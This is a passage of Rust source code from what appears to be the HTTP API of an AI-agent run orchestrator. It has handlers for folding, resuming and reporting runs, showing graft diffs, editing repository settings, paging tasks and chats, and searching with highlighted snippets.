4152 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4153 }
4154 removed
4155 }
4156 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4157 .await
4158 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4159 };
4160 Ok(Json(FoldView {
4161 run: id,
4162 removed_count: removed.len(),
4163 removed,
4164 }))
4165}
4166
4167#[derive(Debug, Serialize)]
4169struct FoldView {
4170 run: String,
4171 removed: Vec<String>,
4173 removed_count: usize,
4174}
4175
4176#[derive(Debug, Deserialize)]
4179struct FoldMergedBody {
4180 #[serde(default)]
4181 pr_url: String,
4182}
4183
4184async fn run_fold_merged(
4204 State(ui): State<Arc<Ui>>,
4205 Path(id): Path<String>,
4206 Json(body): Json<FoldMergedBody>,
4207) -> ApiResult<Json<FoldMergedView>> {
4208 let pr_url = body.pr_url.trim().to_owned();
4209 if pr_url.is_empty() {
4210 return Err(ApiError::bad_request("pr_url is required"));
4211 }
4212 let (id, mut state) = {
4213 let ui = Arc::clone(&ui);
4214 blocking(move || {
4215 let id = resolve_run(&ui.runs, &id)?;
4216 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4217 return Err(ApiError::conflict(format!(
4218 "run {id} is being worked on by a live daemon right now"
4219 )));
4220 }
4221 let state = read_run(&ui.runs, &id)?;
4222 Ok((id, state))
4223 })
4224 .await?
4225 };
4226 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4227 .await
4228 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4229 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4230 .await
4231 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4232 Ok(Json(FoldMergedView {
4233 run: id,
4234 before: before.as_str().to_owned(),
4235 after: after.as_str().to_owned(),
4236 removed,
4237 }))
4238}
4239
4240#[derive(Debug, Serialize)]
4242struct FoldMergedView {
4243 run: String,
4244 before: String,
4246 after: String,
4248 removed: Vec<String>,
4250}
4251
4252async fn run_resume(
4272 State(ui): State<Arc<Ui>>,
4273 Path(id): Path<String>,
4274) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4275 let admission = ui.begin_admission()?;
4276 admitted(admission, async move {
4277 let (id, state) = {
4278 let ui = Arc::clone(&ui);
4279 blocking(move || {
4280 let id = resolve_run(&ui.runs, &id)?;
4281 let state = read_run(&ui.runs, &id)?;
4282 Ok((id, state))
4283 })
4284 .await?
4285 };
4286 crate::resume::validate_unqueued(&ui.home, &id)
4287 .map_err(|e| ApiError::conflict(e.to_string()))?;
4288 let _resume = ui.begin_resume(&id)?;
4289
4290 crate::resume::start(&ui.home, id.clone())
4291 .await
4292 .map_err(ApiError::from)?;
4293 let queued = RunSummary::of(
4296 &state,
4297 !ui.questions.open_for(&id).is_empty(),
4298 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4299 );
4300 Ok((StatusCode::ACCEPTED, Json(queued)))
4301 })
4302 .await
4303}
4304
4305async fn run_report(
4306 State(ui): State<Arc<Ui>>,
4307 Path(id): Path<String>,
4308) -> ApiResult<impl IntoResponse> {
4309 let text = blocking(move || {
4310 let id = resolve_run(&ui.runs, &id)?;
4311 let state = read_run(&ui.runs, &id)?;
4315 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4316 let live = state.liveness(daemon_claims);
4317 Ok(format!(
4318 "{}{}",
4319 report::run(&state),
4320 report::active_seats(&state, live)
4321 ))
4322 })
4323 .await?;
4324 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4325}
4326
4327async fn run_report_json(
4331 State(ui): State<Arc<Ui>>,
4332 Path(id): Path<String>,
4333) -> ApiResult<Json<crate::report_view::RunReportView>> {
4334 let view = blocking(move || {
4335 let id = resolve_run(&ui.runs, &id)?;
4336 let state = read_run(&ui.runs, &id)?;
4337 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4338 let recovered = state.graft.as_ref().map(|_| {
4340 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4341 });
4342 Ok(crate::report_view::build_with(
4343 &state,
4344 state.liveness(daemon_claims),
4345 recovered.as_ref(),
4346 ))
4347 })
4348 .await?;
4349 Ok(Json(view))
4350}
4351
4352const GRAFT_DIFF_MAX: usize = 400 * 1024;
4354const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4356
4357async fn run_graft_diff(
4360 State(ui): State<Arc<Ui>>,
4361 Path(id): Path<String>,
4362) -> ApiResult<impl IntoResponse> {
4363 let (repo, pre, post) = blocking(move || {
4364 let id = resolve_run(&ui.runs, &id)?;
4365 let state = read_run(&ui.runs, &id)?;
4366 let g = state
4367 .graft
4368 .as_ref()
4369 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4370 let post = g
4371 .post
4372 .clone()
4373 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4374 Ok((state.repo.clone(), g.pre.clone(), post))
4375 })
4376 .await?;
4377 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4378 if !hex(&pre) || !hex(&post) {
4379 return Err(ApiError::not_found("the recorded commits are not valid"));
4380 }
4381 let out = tokio::time::timeout(
4382 GRAFT_DIFF_TIMEOUT,
4383 crate::git::git_raw(
4384 &repo,
4385 &[
4386 "diff",
4387 "--no-color",
4388 "--no-ext-diff",
4389 "-M",
4390 &pre,
4391 &post,
4392 "--",
4393 ],
4394 ),
4395 )
4396 .await
4397 .map_err(|_| ApiError::not_found("git diff timed out"))?
4398 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4399 if out.code != Some(0) {
4400 return Err(ApiError::not_found(
4401 "the recorded commits are no longer in the repository",
4402 ));
4403 }
4404 let mut body = out.stdout;
4405 if body.len() > GRAFT_DIFF_MAX {
4406 let mut cut = GRAFT_DIFF_MAX;
4407 while !body.is_char_boundary(cut) {
4408 cut -= 1;
4409 }
4410 body.truncate(cut);
4411 body.push_str("\n... diff truncated ...");
4412 }
4413 Ok((
4414 [
4415 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4416 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4417 ],
4418 body,
4419 ))
4420}
4421
4422#[derive(Debug, Serialize)]
4428struct TaskView {
4429 #[serde(flatten)]
4430 task: Task,
4431 source_label: String,
4432 source_link: Option<SourceLink>,
4433 status_str: &'static str,
4434 instruction_md: Vec<md::Node>,
4438 waits_on: Vec<String>,
4442 stuck_roots: Vec<String>,
4445}
4446
4447impl From<Task> for TaskView {
4448 fn from(task: Task) -> Self {
4449 Self {
4450 source_label: task.source.label(),
4451 source_link: source_link(&task.source),
4452 status_str: task.status.as_str(),
4453 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4454 waits_on: Vec::new(),
4455 stuck_roots: Vec::new(),
4456 task,
4457 }
4458 }
4459}
4460
4461impl TaskView {
4462 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4463 let waits_on = inv.waits_on(&task);
4464 let stuck_roots = inv
4465 .stuck_roots(&task)
4466 .iter()
4467 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4468 .collect();
4469 Self {
4470 waits_on,
4471 stuck_roots,
4472 ..Self::from(task)
4473 }
4474 }
4475}
4476
4477#[derive(Debug, Default, Deserialize)]
4480#[serde(default)]
4481struct ReposQuery {
4482 refresh: u8,
4483}
4484
4485async fn repos_list(
4492 State(ui): State<Arc<Ui>>,
4493 Query(q): Query<ReposQuery>,
4494) -> ApiResult<Json<Vec<repos::Repo>>> {
4495 let refresh = q.refresh != 0;
4496 blocking(move || {
4497 let (cfg, _) = Config::discover(&ui.repo, None)?;
4498 Ok(Json(ui.repos_cache.list(
4499 &cfg.repos.roots,
4500 Duration::from_secs(cfg.repos.scan_ttl),
4501 refresh,
4502 )))
4503 })
4504 .await
4505}
4506
4507#[derive(Debug, Default, Deserialize)]
4509struct SettingsQuery {
4510 repo: Option<PathBuf>,
4511}
4512
4513fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4517 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4518 let paths: Vec<PathBuf> = ui
4519 .machine_config
4520 .iter()
4521 .filter(|p| p.is_file())
4522 .cloned()
4523 .collect();
4524 if paths.is_empty() {
4525 Ok(Config::autodetected())
4526 } else {
4527 Config::load_layers(&paths)
4528 }
4529 });
4530 let mut known = cfg
4531 .map(|cfg| {
4532 ui.repos_cache.list(
4533 &cfg.repos.roots,
4534 Duration::from_secs(cfg.repos.scan_ttl),
4535 refresh,
4536 )
4537 })
4538 .unwrap_or_default();
4539 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4540 if !known.iter().any(|r| r.path == path) {
4541 known.push(repos::Repo {
4542 name: path
4543 .file_name()
4544 .unwrap_or_default()
4545 .to_string_lossy()
4546 .into_owned(),
4547 path,
4548 });
4549 }
4550 known
4551}
4552
4553fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4554 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4555 let canonical = requested.canonicalize().ok();
4556 let mut known = settings_repositories(ui, false);
4557 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4558 if !known.iter().any(matches) {
4559 known = settings_repositories(ui, true);
4560 }
4561 let repo = known
4562 .iter()
4563 .find(|r| matches(r))
4564 .map(|r| r.path.clone())
4565 .ok_or_else(|| ApiError {
4566 text_reason: None,
4567 status: StatusCode::UNPROCESSABLE_ENTITY,
4568 message: "Choose a known repository from the Settings selector.".to_owned(),
4569 })?;
4570 Ok((repo, known))
4571}
4572
4573async fn settings_get(
4577 State(ui): State<Arc<Ui>>,
4578 Query(q): Query<SettingsQuery>,
4579) -> ApiResult<Json<settings::SettingsView>> {
4580 blocking(move || {
4581 let (repo, known) = settings_context(&ui, q)?;
4582 Ok(Json(settings::view_with_repos(
4583 &repo,
4584 ui.machine_config.as_deref(),
4585 &known,
4586 )))
4587 })
4588 .await
4589}
4590
4591#[derive(Debug, Deserialize)]
4593#[serde(deny_unknown_fields)]
4594struct RolesBody {
4595 revision: String,
4597 #[serde(default)]
4599 roles: std::collections::BTreeMap<String, Vec<String>>,
4600 #[serde(default)]
4604 counts: std::collections::BTreeMap<String, serde_json::Value>,
4605}
4606
4607async fn settings_put_roles(
4613 State(ui): State<Arc<Ui>>,
4614 Query(q): Query<SettingsQuery>,
4615 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4616) -> ApiResult<Json<settings::SettingsView>> {
4617 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4618 blocking(move || {
4619 let (repo, known) = settings_context(&ui, q)?;
4620 settings::save_with_repos(
4621 &repo,
4622 ui.machine_config.as_deref(),
4623 &body.revision,
4624 &body.roles,
4625 &body.counts,
4626 &known,
4627 )
4628 .map(Json)
4629 .map_err(|e| match e {
4630 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4631 settings::SaveError::Refused(m) => ApiError {
4632 text_reason: None,
4633 status: StatusCode::UNPROCESSABLE_ENTITY,
4634 message: m,
4635 },
4636 settings::SaveError::Internal(m) => ApiError::internal(m),
4637 })
4638 })
4639 .await
4640}
4641
4642async fn queue_list(
4643 State(ui): State<Arc<Ui>>,
4644 Query(q): Query<ListQuery>,
4645) -> ApiResult<Json<Vec<TaskView>>> {
4646 blocking(move || {
4647 let tasks = ui.queue.list();
4648 let inv =
4649 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4650 Ok(Json(
4651 tasks
4652 .into_iter()
4653 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4654 .map(|t| TaskView::with_inventory(t, &inv))
4655 .collect(),
4656 ))
4657 })
4658 .await
4659}
4660
4661#[derive(Debug, Default, Deserialize)]
4666struct PageQuery {
4667 before: Option<String>,
4668}
4669
4670#[derive(Serialize)]
4671struct StorePage<T> {
4672 rows: Vec<T>,
4673 next: Option<String>,
4674}
4675
4676const STORE_PAGE_SIZE: usize = 16;
4677
4678#[derive(Debug)]
4682struct ListWalk {
4683 token: u64,
4684 talks: bool,
4685 opened: std::time::Instant,
4686 ids: Arc<Vec<String>>,
4687}
4688
4689fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4690 let mut walks = ui
4691 .monitor
4692 .list_walks
4693 .lock()
4694 .unwrap_or_else(PoisonError::into_inner);
4695 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4696 let (token, ids, offset) = if let Some(cursor) = q.before {
4697 let (token, offset) = cursor
4698 .split_once(':')
4699 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4700 let token = token
4701 .parse::<u64>()
4702 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4703 let offset = offset
4704 .parse::<usize>()
4705 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4706 let walk = walks
4707 .iter()
4708 .find(|walk| walk.token == token && walk.talks == talks)
4709 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4710 (token, walk.ids.clone(), offset)
4711 } else {
4712 let root = if talks {
4713 ui.talks.root()
4714 } else {
4715 ui.queue.root()
4716 };
4717 let mut ids = crate::queue::record_ids(root, "json")?;
4718 ids.sort_unstable_by(|a, b| b.cmp(a));
4719 let ids = Arc::new(ids);
4720 let mut token = crate::rng::entropy();
4721 while walks.iter().any(|walk| walk.token == token) {
4722 token = crate::rng::entropy();
4723 }
4724 if walks.len() >= 16 {
4727 walks.remove(0);
4728 }
4729 walks.push(ListWalk {
4730 token,
4731 talks,
4732 opened: std::time::Instant::now(),
4733 ids: ids.clone(),
4734 });
4735 (token, ids, 0)
4736 };
4737 if offset > ids.len() {
4738 return Err(ApiError::bad_request("Invalid list cursor"));
4739 }
4740 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4741 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4742 Ok((ids[offset..end].to_vec(), next))
4743}
4744
4745async fn queue_page(
4746 State(ui): State<Arc<Ui>>,
4747 Query(q): Query<PageQuery>,
4748) -> ApiResult<Json<StorePage<TaskView>>> {
4749 blocking(move || {
4750 let (ids, next) = page_ids(&ui, false, q)?;
4751 let tasks: Vec<_> = ids
4752 .into_iter()
4753 .filter_map(|id| ui.queue.get(&id).ok())
4754 .collect();
4755 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4756 let rows = tasks
4757 .into_iter()
4758 .map(|task| TaskView::with_inventory(task, &inv))
4759 .collect();
4760 Ok(Json(StorePage { rows, next }))
4761 })
4762 .await
4763}
4764
4765#[derive(Serialize)]
4769struct TalkListView {
4770 id: String,
4771 repo: PathBuf,
4772 agent: String,
4773 status: talk::TalkStatus,
4774 turns: Vec<TalkListTurn>,
4775 thinking: bool,
4776 context: talk::ContextUsage,
4777 created_at: Timestamp,
4778 updated_at: Timestamp,
4779}
4780
4781#[derive(Serialize)]
4782struct TalkListTurn {
4783 who: talk::Who,
4784 at: Timestamp,
4785 body: String,
4786}
4787
4788async fn talks_page(
4789 State(ui): State<Arc<Ui>>,
4790 Query(q): Query<PageQuery>,
4791) -> ApiResult<Json<StorePage<TalkListView>>> {
4792 blocking(move || {
4793 let (ids, next) = page_ids(&ui, true, q)?;
4794 let rows = ids
4795 .into_iter()
4796 .filter_map(|id| ui.talks.get(&id).ok())
4797 .map(|talk| TalkListView {
4798 thinking: ui.is_thinking(&talk.id),
4799 context: talk::context_usage(&talk, None),
4800 turns: talk
4801 .turns
4802 .iter()
4803 .map(|turn| TalkListTurn {
4804 who: turn.who,
4805 at: turn.at,
4806 body: turn
4807 .body
4808 .lines()
4809 .next()
4810 .unwrap_or_default()
4811 .chars()
4812 .take(240)
4813 .collect(),
4814 })
4815 .collect(),
4816 id: talk.id,
4817 repo: talk.repo,
4818 agent: talk.agent,
4819 status: talk.status,
4820 created_at: talk.created_at,
4821 updated_at: talk.updated_at,
4822 })
4823 .collect();
4824 Ok(Json(StorePage { rows, next }))
4825 })
4826 .await
4827}
4828
4829async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4830 blocking(move || {
4831 let tasks = ui.indexed_tasks()?;
4832 Ok(Json(TaskCountsView::from(
4833 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4834 )))
4835 })
4836 .await
4837}
4838
4839const SEARCH_MAX_HITS: usize = 100;
4841const SEARCH_MAX_QUERY: usize = 200;
4843const SEARCH_MAX_TERMS: usize = 8;
4844const SNIPPET_BEFORE: usize = 50;
4846const SNIPPET_AFTER: usize = 110;
4847
4848#[derive(Debug, Deserialize)]
4850struct SearchQuery {
4851 #[serde(default)]
4852 scope: String,
4853 #[serde(default)]
4854 q: String,
4855}
4856
4857#[derive(Debug, Serialize, PartialEq, Eq)]
4860struct SnippetPart {
4861 text: String,
4862 hit: bool,
4863}
4864
4865#[derive(Debug, Serialize)]
4866struct SearchHit {
4867 id: String,
4868 field: String,
4870 snippet: Vec<SnippetPart>,
4871 #[serde(skip_serializing_if = "Option::is_none")]
4875 run: Option<RunSummary>,
4876}
4877
4878#[derive(Debug, Serialize)]
4879struct SearchView {
4880 scope: String,
4881 q: String,
4882 hits: Vec<SearchHit>,
4884 total: usize,
4886 truncated: bool,
4887 unreadable: usize,
4890}
4891
4892fn text_leaves<'a>(
4895 value: &'a serde_json::Value,
4896 field: &'a str,
4897 out: &mut Vec<(&'a str, &'a str)>,
4898) {
4899 match value {
4900 serde_json::Value::String(s) => out.push((field, s)),
4901 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4902 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4903 _ => {}
4904 }
4905}
4906
4907fn fold_char(c: char) -> char {
4910 c.to_lowercase().next().unwrap_or(c)
4911}
4912
4913fn search_terms(q: &str) -> Vec<String> {
4915 let mut terms: Vec<String> = Vec::new();
4916 for t in q.split_whitespace() {
4917 let t = t.to_lowercase();
4918 if !terms.contains(&t) {
4919 terms.push(t);
4920 }
4921 }
4922 terms
4923}
4924
4925fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4928 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4929 let mut first: Option<usize> = None;
4930 for term in terms {
4931 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4932 first = Some(first.map_or(at, |f| f.min(at)));
4933 }
4934 let (field, text) = leaves[first?];
4936 Some(SearchHit {
4937 id: String::new(),
4938 field: field.to_owned(),
4939 snippet: snippet_of(text, terms),
4940 run: None,
4941 })
4942}
4943
4944fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4947 let chars: Vec<char> = text.chars().collect();
4948 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4949 let needles: Vec<Vec<char>> = terms
4950 .iter()
4951 .map(|t| t.chars().map(fold_char).collect())
4952 .collect();
4953 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4954 let mut best: Option<(usize, usize)> = None;
4955 for n in needles.iter().filter(|n| !n.is_empty()) {
4956 if n.len() > chars.len() || to == 0 {
4960 continue;
4961 }
4962 let last = (to - 1).min(chars.len() - n.len());
4963 if from > last {
4964 continue;
4965 }
4966 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4967 && best.is_none_or(|(b, _)| i < b)
4968 {
4969 best = Some((i, i + n.len()));
4970 }
4971 }
4972 best
4973 };
4974 let Some((start, _)) = find(0, chars.len()) else {
4975 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4977 return vec![SnippetPart {
4978 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4979 hit: false,
4980 }];
4981 };
4982 let lo = start.saturating_sub(SNIPPET_BEFORE);
4983 let hi = (start + SNIPPET_AFTER).min(chars.len());
4984 let mut parts: Vec<SnippetPart> = Vec::new();
4985 let mut push = |s: &[char], hit: bool| {
4986 if s.is_empty() {
4987 return;
4988 }
4989 let text: String = s.iter().collect();
4990 match parts.last_mut() {
4991 Some(p) if p.hit == hit => p.text.push_str(&text),
4992 _ => parts.push(SnippetPart { text, hit }),
4993 }
4994 };
4995 if lo > 0 {
4996 push(&['\u{2026}'], false);
4997 }
4998 let mut at = lo;
4999 while at < hi {
5000 match find(at, hi) {
5001 Some((s, e)) => {
5002 push(&chars[at..s], false);
5003 let shown = e.min(hi);
5005 push(&chars[s..shown], true);
5006 at = shown;
5007 }
5008 None => {
5009 push(&chars[at..hi], false);
5010 at = hi;
5011 }
5012 }
5013 }
5014 if hi < chars.len() {
5015 push(&['\u{2026}'], false);
5016 }
5017 let mut prev_space = false;
5020 for p in &mut parts {
5021 let mut out = String::with_capacity(p.text.len());
5022 for c in p.text.chars() {
5023 if c.is_whitespace() {
5024 if !prev_space {
5025 out.push(' ');
5026 }
5027 prev_space = true;
5028 } else {
5029 out.push(c);
5030 prev_space = false;
5031 }
5032 }
5033 p.text = out;
5034 }
5035 parts.retain(|p| !p.text.is_empty());
5036 parts
5037}
5038
5039fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5041where
5042 I: IntoIterator<Item = (String, serde_json::Value)>,
5043{
5044 for (id, doc) in docs {
5045 let mut leaves = Vec::new();
5046 leaves.push(("id", id.as_str()));
5049 text_leaves(&doc, "", &mut leaves);
5050 if let Some(mut hit) = search_document(terms, &leaves) {
5051 view.total += 1;
5052 if view.hits.len() < SEARCH_MAX_HITS {
5053 hit.id = id;
5054 view.hits.push(hit);
5055 }
5056 }
5057 }
5058 view.truncated = view.total > view.hits.len();
5059}
5060
5061fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5068 let opener = talk
5069 .turns
5070 .iter()
5071 .find(|t| t.who == crate::talk::Who::Operator)
5072 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5073 .unwrap_or("");
5074 let title: String = if opener.chars().count() > 96 {
5075 opener.chars().take(95).chain(['\u{2026}']).collect()
5076 } else {
5077 opener.to_owned()
5078 };
5079 let turns: Vec<serde_json::Value> = talk
5080 .turns
5081 .iter()
5082 .map(|t| {
5083 let who = match t.who {
5084 crate::talk::Who::Operator => "operator",
5085 crate::talk::Who::Agent => "agent",
5086 };
5087 serde_json::json!({ who: t.body })
5088 })
5089 .collect();
5090 serde_json::json!({ "title": title, "turns": turns })
5091}
5092
5093async fn search_get(
5100 State(ui): State<Arc<Ui>>,
5101 Query(q): Query<SearchQuery>,
5102) -> ApiResult<Json<SearchView>> {
5103 let query = q.q.trim().to_owned();
5104 if query.is_empty() {
5105 return Err(ApiError::bad_request("q must not be empty"));
5106 }
5107 if query.chars().count() > SEARCH_MAX_QUERY {
5108 return Err(ApiError::bad_request(format!(
5109 "q is longer than {SEARCH_MAX_QUERY} characters"
5110 )));
5111 }
5112 let terms = search_terms(&query);
5113 if terms.len() > SEARCH_MAX_TERMS {
5114 return Err(ApiError::bad_request(format!(
5115 "q has more than {SEARCH_MAX_TERMS} terms"
5116 )));
5117 }
5118 let scope = q.scope;
5119 if scope != "runs" && scope != "tasks" && scope != "chats" {
5120 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5121 }
5122 blocking(move || {
5123 let mut view = SearchView {
5124 scope: scope.clone(),
5125 q: query,
5126 hits: Vec::new(),
5127 total: 0,
5128 truncated: false,
5129 unreadable: 0,
5130 };
5131 if scope == "runs" {
5132 let mut unreadable = 0;
5133 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5137 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5138 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5139 Some(v) => Some((id, v)),
5140 None => {
5141 unreadable += 1;
5142 None
5143 }
5144 }
5145 });
5146 search_docs(&terms, docs, &mut view);
5147 view.unreadable = unreadable;
5148 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5151 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5152 for hit in &mut view.hits {
5153 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5154 hit.run = summarize(
5155 [state],
5156 &open_runs,
5157 &claimed,
5158 &superseded,
5159 |p| probe.borrow_mut().status(p),
5160 |p| probe.borrow_mut().started_at(p),
5161 )
5162 .pop();
5163 }
5164 }
5165 } else if scope == "chats" {
5166 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5167 view.unreadable = unreadable;
5168 search_docs(
5169 &terms,
5170 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5171 &mut view,
5172 );
5173 } else {
5174 let docs = ui.queue.list().into_iter().filter_map(|t| {
5175 let mut v = serde_json::to_value(&t).ok()?;
5176 if let Some(o) = v.as_object_mut() {
5179 o.insert("filed_by".to_owned(), t.source.label().into());
5180 }
5181 Some((t.id, v))
5182 });
5183 search_docs(&terms, docs, &mut view);
5184 }
5185 Ok(Json(view))
5186 })
5187 .await
5188}
5189
5190#[derive(Debug, Serialize)]
5192struct TaskRunView {
5193 n: usize,
5195 id: String,
5196 short: String,
5197 kind: &'static str,
5199 status: Option<&'static str>,
5201 readable: bool,
5203 provisional: bool,
5205 description: String,
5207 outcome: String,
5209 created_at: Option<Timestamp>,
5210 pr: Option<String>,
5211 exit: RunExit,
5213 attempt: AttemptCost,
5215 exit_label: String,
5218 later_pass: Option<usize>,
5221 pass_n: usize,
5225 passes_of_run: usize,
5226 pass: Option<PassView>,
5229 branch: Option<String>,
5231 badge: Option<String>,
5234}
5235
5236#[derive(Debug, Clone, PartialEq, Serialize)]
5238struct PassView {
5239 index: usize,
5240 resumed: bool,
5241 started_at: Timestamp,
5242 ended_at: Option<Timestamp>,
5243 end: &'static str,
5245 cause: Option<crate::run::ParkCause>,
5246 label: String,
5248 cost: Option<crate::queue::PassCost>,
5251}
5252
5253impl PassView {
5254 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5255 use crate::run::PassEnd;
5256 let (end, cause, label) = match &p.end {
5257 None => ("open", None, "still open".to_owned()),
5258 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5259 Some(PassEnd::Unrecorded) => (
5260 "unrecorded",
5261 None,
5262 "stopped without recording why (a crash, a kill or a restart; not known)"
5263 .to_owned(),
5264 ),
5265 };
5266 Self {
5267 index: p.index,
5268 resumed: p.resumed,
5269 started_at: p.started_at,
5270 ended_at: p.ended_at,
5271 end,
5272 cause,
5273 label,
5274 cost: settled.map(|t| t.cost),
5275 }
5276 }
5277}
5278
5279#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5281#[serde(rename_all = "snake_case")]
5282enum RunExit {
5283 Unreadable,
5284 Interrupted,
5286 Parked,
5287 QuotaStall,
5288 ResumedQuotaStall,
5292 Merged,
5293 Ready,
5294 Superseded,
5295 AlreadyInBase,
5298 Stalled,
5300 HeldWithPr,
5302 NoopHeld,
5303 Spent,
5305 InProgress,
5306}
5307
5308#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5309#[serde(rename_all = "snake_case")]
5310enum AttemptCost {
5311 Spent,
5312 Refunded,
5313 None,
5314 Unknown,
5316}
5317
5318impl RunExit {
5319 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5320 let Some(s) = s else {
5321 return Self::Unreadable;
5322 };
5323 let status = s.status;
5324 if resumed_later {
5325 Self::Interrupted
5326 } else if s.parked {
5327 Self::Parked
5328 } else if !status.done() {
5329 Self::InProgress
5330 } else if matches!(status, RunStatus::Merged) {
5331 Self::Merged
5332 } else if matches!(status, RunStatus::Ready) {
5333 Self::Ready
5334 } else if matches!(status, RunStatus::Superseded) {
5335 Self::Superseded
5336 } else if matches!(status, RunStatus::AlreadyInBase) {
5337 Self::AlreadyInBase
5338 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5339 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5340 {
5341 if resumed {
5342 Self::ResumedQuotaStall
5343 } else {
5344 Self::QuotaStall
5345 }
5346 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5347 Self::HeldWithPr
5348 } else if matches!(status, RunStatus::VerifiedNoop) {
5349 Self::NoopHeld
5350 } else if matches!(status, RunStatus::Stalled) {
5351 Self::Stalled
5352 } else {
5353 Self::Spent
5354 }
5355 }
5356
5357 fn cost(self) -> AttemptCost {
5358 match self {
5359 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5360 Self::Merged
5361 | Self::Ready
5362 | Self::Stalled
5363 | Self::HeldWithPr
5364 | Self::NoopHeld
5365 | Self::Spent => AttemptCost::Spent,
5366 Self::InProgress => AttemptCost::None,
5367 Self::AlreadyInBase => AttemptCost::Refunded,
5368 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5369 AttemptCost::Unknown
5370 }
5371 }
5372 }
5373
5374 fn edge_label(self, status: Option<&str>) -> String {
5376 match self {
5377 Self::Unreadable => "record unreadable".to_owned(),
5378 Self::Interrupted => "interrupted before the run finished".to_owned(),
5379 Self::Parked => "parked, attempt refunded".to_owned(),
5380 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5381 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5382 Self::Merged => "merged".to_owned(),
5383 Self::Ready => "ready, not merged".to_owned(),
